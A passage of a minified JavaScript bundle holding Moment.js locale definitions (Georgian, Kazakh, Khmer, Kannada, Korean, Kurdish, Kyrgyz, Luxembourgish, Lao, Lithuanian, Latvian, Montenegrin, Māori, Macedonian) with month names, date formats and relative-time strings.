dinten",M:"sewulan",MM:"%d wulan",y:"setaun",yy:"%d taun"},week:{dow:1,doy:7}})}(n(381))},2105:function(e,t,n){!function(e){"use strict";e.defineLocale("ka",{months:"იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი".split("_"),monthsShort:"იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ".split("_"),weekdays:{standalone:"კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი".split("_"),format:"კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს".split("_"),isFormat:/(წინა|შემდეგ)/},weekdaysShort:"კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ".split("_"),weekdaysMin:"კვ_ორ_სა_ოთ_ხუ_პა_შა".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[დღეს] LT[-ზე]",nextDay:"[ხვალ] LT[-ზე]",lastDay:"[გუშინ] LT[-ზე]",nextWeek:"[შემდეგ] dddd LT[-ზე]",lastWeek:"[წინა] dddd LT-ზე",sameElse:"L"},relativeTime:{future:function(e){return e.replace(/(წამ|წუთ|საათ|წელ|დღ|თვ)(ი|ე)/,(function(e,t,n){return"ი"===n?t+"ში":t+n+"ში"}))},past:function(e){return/(წამი|წუთი|საათი|დღე|თვე)/.test(e)?e.replace(/(ი|ე)$/,"ის წინ"):/წელი/.test(e)?e.replace(/წელი$/,"წლის წინ"):e},s:"რამდენიმე წამი",ss:"%d წამი",m:"წუთი",mm:"%d წუთი",h:"საათი",hh:"%d საათი",d:"დღე",dd:"%d დღე",M:"თვე",MM:"%d თვე",y:"წელი",yy:"%d წელი"},dayOfMonthOrdinalParse:/0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/,ordinal:function(e){return 0===e?e:1===e?e+"-ლი":e<20||e<=100&&e%20==0||e%100==0?"მე-"+e:e+"-ე"},week:{dow:1,doy:7}})}(n(381))},7772:function(e,t,n){!function(e){"use strict";var t={0:"-ші",1:"-ші",2:"-ші",3:"-ші",4:"-ші",5:"-ші",6:"-шы",7:"-ші",8:"-ші",9:"-шы",10:"-шы",20:"-шы",30:"-шы",40:"-шы",50:"-ші",60:"-шы",70:"-ші",80:"-ші",90:"-шы",100:"-ші"};e.defineLocale("kk",{months:"қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан".split("_"),monthsShort:"қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел".split("_"),weekdays:"жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі".split("_"),weekdaysShort:"жек_дүй_сей_сәр_бей_жұм_сен".split("_"),weekdaysMin:"жк_дй_сй_ср_бй_жм_сн".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгін сағат] LT",nextDay:"[Ертең сағат] LT",nextWeek:"dddd [сағат] LT",lastDay:"[Кеше сағат] LT",lastWeek:"[Өткен аптаның] dddd [сағат] LT",sameElse:"L"},relativeTime:{future:"%s ішінде",past:"%s бұрын",s:"бірнеше секунд",ss:"%d секунд",m:"бір минут",mm:"%d минут",h:"бір сағат",hh:"%d сағат",d:"бір күн",dd:"%d күн",M:"бір ай",MM:"%d ай",y:"бір жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(ші|шы)/,ordinal:function(e){var n=e%10,r=e>=100?100:null;return e+(t[e]||t[n]||t[r])},week:{dow:1,doy:7}})}(n(381))},8758:function(e,t,n){!function(e){"use strict";var t={1:"១",2:"២",3:"៣",4:"៤",5:"៥",6:"៦",7:"៧",8:"៨",9:"៩",0:"០"},n={"១":"1","២":"2","៣":"3","៤":"4","៥":"5","៦":"6","៧":"7","៨":"8","៩":"9","០":"0"};e.defineLocale("km",{months:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),monthsShort:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),weekdays:"អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍".split("_"),weekdaysShort:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysMin:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ព្រឹក|ល្ងាច/,isPM:function(e){return"ល្ងាច"===e},meridiem:function(e,t,n){return e<12?"ព្រឹក":"ល្ងាច"},calendar:{sameDay:"[ថ្ងៃនេះ ម៉ោង] LT",nextDay:"[ស្អែក ម៉ោង] LT",nextWeek:"dddd [ម៉ោង] LT",lastDay:"[ម្សិលមិញ ម៉ោង] LT",lastWeek:"dddd [សប្តាហ៍មុន] [ម៉ោង] LT",sameElse:"L"},relativeTime:{future:"%sទៀត",past:"%sមុន",s:"ប៉ុន្មានវិនាទី",ss:"%d វិនាទី",m:"មួយនាទី",mm:"%d នាទី",h:"មួយម៉ោង",hh:"%d ម៉ោង",d:"មួយថ្ងៃ",dd:"%d ថ្ងៃ",M:"មួយខែ",MM:"%d ខែ",y:"មួយឆ្នាំ",yy:"%d ឆ្នាំ"},dayOfMonthOrdinalParse:/ទី\d{1,2}/,ordinal:"ទី%d",preparse:function(e){return e.replace(/[១២៣៤៥៦៧៨៩០]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(n(381))},9282:function(e,t,n){!function(e){"use strict";var t={1:"೧",2:"೨",3:"೩",4:"೪",5:"೫",6:"೬",7:"೭",8:"೮",9:"೯",0:"೦"},n={"೧":"1","೨":"2","೩":"3","೪":"4","೫":"5","೬":"6","೭":"7","೮":"8","೯":"9","೦":"0"};e.defineLocale("kn",{months:"ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್".split("_"),monthsShort:"ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ".split("_"),monthsParseExact:!0,weekdays:"ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ".split("_"),weekdaysShort:"ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ".split("_"),weekdaysMin:"ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[ಇಂದು] LT",nextDay:"[ನಾಳೆ] LT",nextWeek:"dddd, LT",lastDay:"[ನಿನ್ನೆ] LT",lastWeek:"[ಕೊನೆಯ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ನಂತರ",past:"%s ಹಿಂದೆ",s:"ಕೆಲವು ಕ್ಷಣಗಳು",ss:"%d ಸೆಕೆಂಡುಗಳು",m:"ಒಂದು ನಿಮಿಷ",mm:"%d ನಿಮಿಷ",h:"ಒಂದು ಗಂಟೆ",hh:"%d ಗಂಟೆ",d:"ಒಂದು ದಿನ",dd:"%d ದಿನ",M:"ಒಂದು ತಿಂಗಳು",MM:"%d ತಿಂಗಳು",y:"ಒಂದು ವರ್ಷ",yy:"%d ವರ್ಷ"},preparse:function(e){return e.replace(/[೧೨೩೪೫೬೭೮೯೦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ರಾತ್ರಿ"===t?e<4?e:e+12:"ಬೆಳಿಗ್ಗೆ"===t?e:"ಮಧ್ಯಾಹ್ನ"===t?e>=10?e:e+12:"ಸಂಜೆ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"ರಾತ್ರಿ":e<10?"ಬೆಳಿಗ್ಗೆ":e<17?"ಮಧ್ಯಾಹ್ನ":e<20?"ಸಂಜೆ":"ರಾತ್ರಿ"},dayOfMonthOrdinalParse:/\d{1,2}(ನೇ)/,ordinal:function(e){return e+"ನೇ"},week:{dow:0,doy:6}})}(n(381))},3730:function(e,t,n){!function(e){"use strict";e.defineLocale("ko",{months:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),monthsShort:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),weekdays:"일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"),weekdaysShort:"일_월_화_수_목_금_토".split("_"),weekdaysMin:"일_월_화_수_목_금_토".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY년 MMMM D일",LLL:"YYYY년 MMMM D일 A h:mm",LLLL:"YYYY년 MMMM D일 dddd A h:mm",l:"YYYY.MM.DD.",ll:"YYYY년 MMMM D일",lll:"YYYY년 MMMM D일 A h:mm",llll:"YYYY년 MMMM D일 dddd A h:mm"},calendar:{sameDay:"오늘 LT",nextDay:"내일 LT",nextWeek:"dddd LT",lastDay:"어제 LT",lastWeek:"지난주 dddd LT",sameElse:"L"},relativeTime:{future:"%s 후",past:"%s 전",s:"몇 초",ss:"%d초",m:"1분",mm:"%d분",h:"한 시간",hh:"%d시간",d:"하루",dd:"%d일",M:"한 달",MM:"%d달",y:"일 년",yy:"%d년"},dayOfMonthOrdinalParse:/\d{1,2}(일|월|주)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"일";case"M":return e+"월";case"w":case"W":return e+"주";default:return e}},meridiemParse:/오전|오후/,isPM:function(e){return"오후"===e},meridiem:function(e,t,n){return e<12?"오전":"오후"}})}(n(381))},1408:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},r=["کانونی دووەم","شوبات","ئازار","نیسان","ئایار","حوزەیران","تەمموز","ئاب","ئەیلوول","تشرینی یەكەم","تشرینی دووەم","كانونی یەکەم"];e.defineLocale("ku",{months:r,monthsShort:r,weekdays:"یه‌كشه‌ممه‌_دووشه‌ممه‌_سێشه‌ممه‌_چوارشه‌ممه‌_پێنجشه‌ممه‌_هه‌ینی_شه‌ممه‌".split("_"),weekdaysShort:"یه‌كشه‌م_دووشه‌م_سێشه‌م_چوارشه‌م_پێنجشه‌م_هه‌ینی_شه‌ممه‌".split("_"),weekdaysMin:"ی_د_س_چ_پ_ه_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ئێواره‌|به‌یانی/,isPM:function(e){return/ئێواره‌/.test(e)},meridiem:function(e,t,n){return e<12?"به‌یانی":"ئێواره‌"},calendar:{sameDay:"[ئه‌مرۆ كاتژمێر] LT",nextDay:"[به‌یانی كاتژمێر] LT",nextWeek:"dddd [كاتژمێر] LT",lastDay:"[دوێنێ كاتژمێر] LT",lastWeek:"dddd [كاتژمێر] LT",sameElse:"L"},relativeTime:{future:"له‌ %s",past:"%s",s:"چه‌ند چركه‌یه‌ك",ss:"چركه‌ %d",m:"یه‌ك خوله‌ك",mm:"%d خوله‌ك",h:"یه‌ك كاتژمێر",hh:"%d كاتژمێر",d:"یه‌ك ڕۆژ",dd:"%d ڕۆژ",M:"یه‌ك مانگ",MM:"%d مانگ",y:"یه‌ك ساڵ",yy:"%d ساڵ"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(381))},3291:function(e,t,n){!function(e){"use strict";var t={0:"-чү",1:"-чи",2:"-чи",3:"-чү",4:"-чү",5:"-чи",6:"-чы",7:"-чи",8:"-чи",9:"-чу",10:"-чу",20:"-чы",30:"-чу",40:"-чы",50:"-чү",60:"-чы",70:"-чи",80:"-чи",90:"-чу",100:"-чү"};e.defineLocale("ky",{months:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_"),monthsShort:"янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек".split("_"),weekdays:"Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби".split("_"),weekdaysShort:"Жек_Дүй_Шей_Шар_Бей_Жум_Ише".split("_"),weekdaysMin:"Жк_Дй_Шй_Шр_Бй_Жм_Иш".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгүн саат] LT",nextDay:"[Эртең саат] LT",nextWeek:"dddd [саат] LT",lastDay:"[Кечээ саат] LT",lastWeek:"[Өткөн аптанын] dddd [күнү] [саат] LT",sameElse:"L"},relativeTime:{future:"%s ичинде",past:"%s мурун",s:"бирнече секунд",ss:"%d секунд",m:"бир мүнөт",mm:"%d мүнөт",h:"бир саат",hh:"%d саат",d:"бир күн",dd:"%d күн",M:"бир ай",MM:"%d ай",y:"бир жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(чи|чы|чү|чу)/,ordinal:function(e){var n=e%10,r=e>=100?100:null;return e+(t[e]||t[n]||t[r])},week:{dow:1,doy:7}})}(n(381))},6841:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={m:["eng Minutt","enger Minutt"],h:["eng Stonn","enger Stonn"],d:["een Dag","engem Dag"],M:["ee Mount","engem Mount"],y:["ee Joer","engem Joer"]};return t?i[n][0]:i[n][1]}function n(e){return i(e.substr(0,e.indexOf(" ")))?"a "+e:"an "+e}function r(e){return i(e.substr(0,e.indexOf(" ")))?"viru "+e:"virun "+e}function i(e){if(e=parseInt(e,10),isNaN(e))return!1;if(e<0)return!0;if(e<10)return 4<=e&&e<=7;if(e<100){var t=e%10;return i(0===t?e/10:t)}if(e<1e4){for(;e>=10;)e/=10;return i(e)}return i(e/=1e3)}e.defineLocale("lb",{months:"Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg".split("_"),weekdaysShort:"So._Mé._Dë._Më._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mé_Dë_Më_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm [Auer]",LTS:"H:mm:ss [Auer]",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm [Auer]",LLLL:"dddd, D. MMMM YYYY H:mm [Auer]"},calendar:{sameDay:"[Haut um] LT",sameElse:"L",nextDay:"[Muer um] LT",nextWeek:"dddd [um] LT",lastDay:"[Gëschter um] LT",lastWeek:function(){switch(this.day()){case 2:case 4:return"[Leschten] dddd [um] LT";default:return"[Leschte] dddd [um] LT"}}},relativeTime:{future:n,past:r,s:"e puer Sekonnen",ss:"%d Sekonnen",m:t,mm:"%d Minutten",h:t,hh:"%d Stonnen",d:t,dd:"%d Deeg",M:t,MM:"%d Méint",y:t,yy:"%d Joer"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},5466:function(e,t,n){!function(e){"use strict";e.defineLocale("lo",{months:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),monthsShort:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),weekdays:"ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysShort:"ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysMin:"ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"ວັນdddd D MMMM YYYY HH:mm"},meridiemParse:/ຕອນເຊົ້າ|ຕອນແລງ/,isPM:function(e){return"ຕອນແລງ"===e},meridiem:function(e,t,n){return e<12?"ຕອນເຊົ້າ":"ຕອນແລງ"},calendar:{sameDay:"[ມື້ນີ້ເວລາ] LT",nextDay:"[ມື້ອື່ນເວລາ] LT",nextWeek:"[ວັນ]dddd[ໜ້າເວລາ] LT",lastDay:"[ມື້ວານນີ້ເວລາ] LT",lastWeek:"[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT",sameElse:"L"},relativeTime:{future:"ອີກ %s",past:"%sຜ່ານມາ",s:"ບໍ່ເທົ່າໃດວິນາທີ",ss:"%d ວິນາທີ",m:"1 ນາທີ",mm:"%d ນາທີ",h:"1 ຊົ່ວໂມງ",hh:"%d ຊົ່ວໂມງ",d:"1 ມື້",dd:"%d ມື້",M:"1 ເດືອນ",MM:"%d ເດືອນ",y:"1 ປີ",yy:"%d ປີ"},dayOfMonthOrdinalParse:/(ທີ່)\d{1,2}/,ordinal:function(e){return"ທີ່"+e}})}(n(381))},7010:function(e,t,n){!function(e){"use strict";var t={ss:"sekundė_sekundžių_sekundes",m:"minutė_minutės_minutę",mm:"minutės_minučių_minutes",h:"valanda_valandos_valandą",hh:"valandos_valandų_valandas",d:"diena_dienos_dieną",dd:"dienos_dienų_dienas",M:"mėnuo_mėnesio_mėnesį",MM:"mėnesiai_mėnesių_mėnesius",y:"metai_metų_metus",yy:"metai_metų_metus"};function n(e,t,n,r){return t?"kelios sekundės":r?"kelių sekundžių":"kelias sekundes"}function r(e,t,n,r){return t?s(n)[0]:r?s(n)[1]:s(n)[2]}function i(e){return e%10==0||e>10&&e<20}function s(e){return t[e].split("_")}function a(e,t,n,a){var o=e+" ";return 1===e?o+r(e,t,n[0],a):t?o+(i(e)?s(n)[1]:s(n)[0]):a?o+s(n)[1]:o+(i(e)?s(n)[1]:s(n)[2])}e.defineLocale("lt",{months:{format:"sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio".split("_"),standalone:"sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis".split("_"),isFormat:/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/},monthsShort:"sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"),weekdays:{format:"sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį".split("_"),standalone:"sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis".split("_"),isFormat:/dddd HH:mm/},weekdaysShort:"Sek_Pir_Ant_Tre_Ket_Pen_Šeš".split("_"),weekdaysMin:"S_P_A_T_K_Pn_Š".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY [m.] MMMM D [d.]",LLL:"YYYY [m.] MMMM D [d.], HH:mm [val.]",LLLL:"YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]",l:"YYYY-MM-DD",ll:"YYYY [m.] MMMM D [d.]",lll:"YYYY [m.] MMMM D [d.], HH:mm [val.]",llll:"YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]"},calendar:{sameDay:"[Šiandien] LT",nextDay:"[Rytoj] LT",nextWeek:"dddd LT",lastDay:"[Vakar] LT",lastWeek:"[Praėjusį] dddd LT",sameElse:"L"},relativeTime:{future:"po %s",past:"prieš %s",s:n,ss:a,m:r,mm:a,h:r,hh:a,d:r,dd:a,M:r,MM:a,y:r,yy:a},dayOfMonthOrdinalParse:/\d{1,2}-oji/,ordinal:function(e){return e+"-oji"},week:{dow:1,doy:4}})}(n(381))},7595:function(e,t,n){!function(e){"use strict";var t={ss:"sekundes_sekundēm_sekunde_sekundes".split("_"),m:"minūtes_minūtēm_minūte_minūtes".split("_"),mm:"minūtes_minūtēm_minūte_minūtes".split("_"),h:"stundas_stundām_stunda_stundas".split("_"),hh:"stundas_stundām_stunda_stundas".split("_"),d:"dienas_dienām_diena_dienas".split("_"),dd:"dienas_dienām_diena_dienas".split("_"),M:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),MM:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),y:"gada_gadiem_gads_gadi".split("_"),yy:"gada_gadiem_gads_gadi".split("_")};function n(e,t,n){return n?t%10==1&&t%100!=11?e[2]:e[3]:t%10==1&&t%100!=11?e[0]:e[1]}function r(e,r,i){return e+" "+n(t[i],e,r)}function i(e,r,i){return n(t[i],e,r)}function s(e,t){return t?"dažas sekundes":"dažām sekundēm"}e.defineLocale("lv",{months:"janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris".split("_"),monthsShort:"jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec".split("_"),weekdays:"svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena".split("_"),weekdaysShort:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysMin:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY.",LL:"YYYY. [gada] D. MMMM",LLL:"YYYY. [gada] D. MMMM, HH:mm",LLLL:"YYYY. [gada] D. MMMM, dddd, HH:mm"},calendar:{sameDay:"[Šodien pulksten] LT",nextDay:"[Rīt pulksten] LT",nextWeek:"dddd [pulksten] LT",lastDay:"[Vakar pulksten] LT",lastWeek:"[Pagājušā] dddd [pulksten] LT",sameElse:"L"},relativeTime:{future:"pēc %s",past:"pirms %s",s:s,ss:r,m:i,mm:r,h:i,hh:r,d:i,dd:r,M:i,MM:r,y:i,yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},9861:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekund","sekunda","sekundi"],m:["jedan minut","jednog minuta"],mm:["minut","minuta","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mjesec","mjeseca","mjeseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,r){var i=t.words[r];return 1===r.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("me",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sjutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedjelje] [u] LT","[prošlog] [ponedjeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srijede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mjesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},5493:function(e,t,n){!function(e){"use strict";e.defineLocale("mi",{months:"Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea".split("_"),monthsShort:"Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"),monthsRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i,weekdays:"Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei".split("_"),weekdaysShort:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),weekdaysMin:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [i] HH:mm",LLLL:"dddd, D MMMM YYYY [i] HH:mm"},calendar:{sameDay:"[i teie mahana, i] LT",nextDay:"[apopo i] LT",nextWeek:"dddd [i] LT",lastDay:"[inanahi i] LT",lastWeek:"dddd [whakamutunga i] LT",sameElse:"L"},relativeTime:{future:"i roto i %s",past:"%s i mua",s:"te hēkona ruarua",ss:"%d hēkona",m:"he meneti",mm:"%d meneti",h:"te haora",hh:"%d haora",d:"he ra",dd:"%d ra",M:"he marama",MM:"%d marama",y:"he tau",yy:"%d tau"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},5966:function(e,t,n){!function(e){"use strict";e.defineLocale("mk",{months:"јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември".split("_"),monthsShort:"јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек".split("_"),weekdays:"недела_понеделник_вторник_среда_четврток_петок_сабота".split("_"),weekdaysShort:"нед_пон_вто_сре_чет_пет_саб".split("_"),weekdaysMin:"нe_пo_вт_ср_че_пе_сa".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Денес во] LT",nextDay:"[Утре во] LT",nextWeek:"[Во] dddd [во] LT",lastDay:"[Вчера во] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Изминатата] dddd [во] LT";case 1:case 2:case 4:case 5:return"[Изминатиот] dddd [во] LT"}},sameElse:"L"},relativeTime:{future:"за %s",past:"пред %s",s:"неколку секунди",ss:"%d 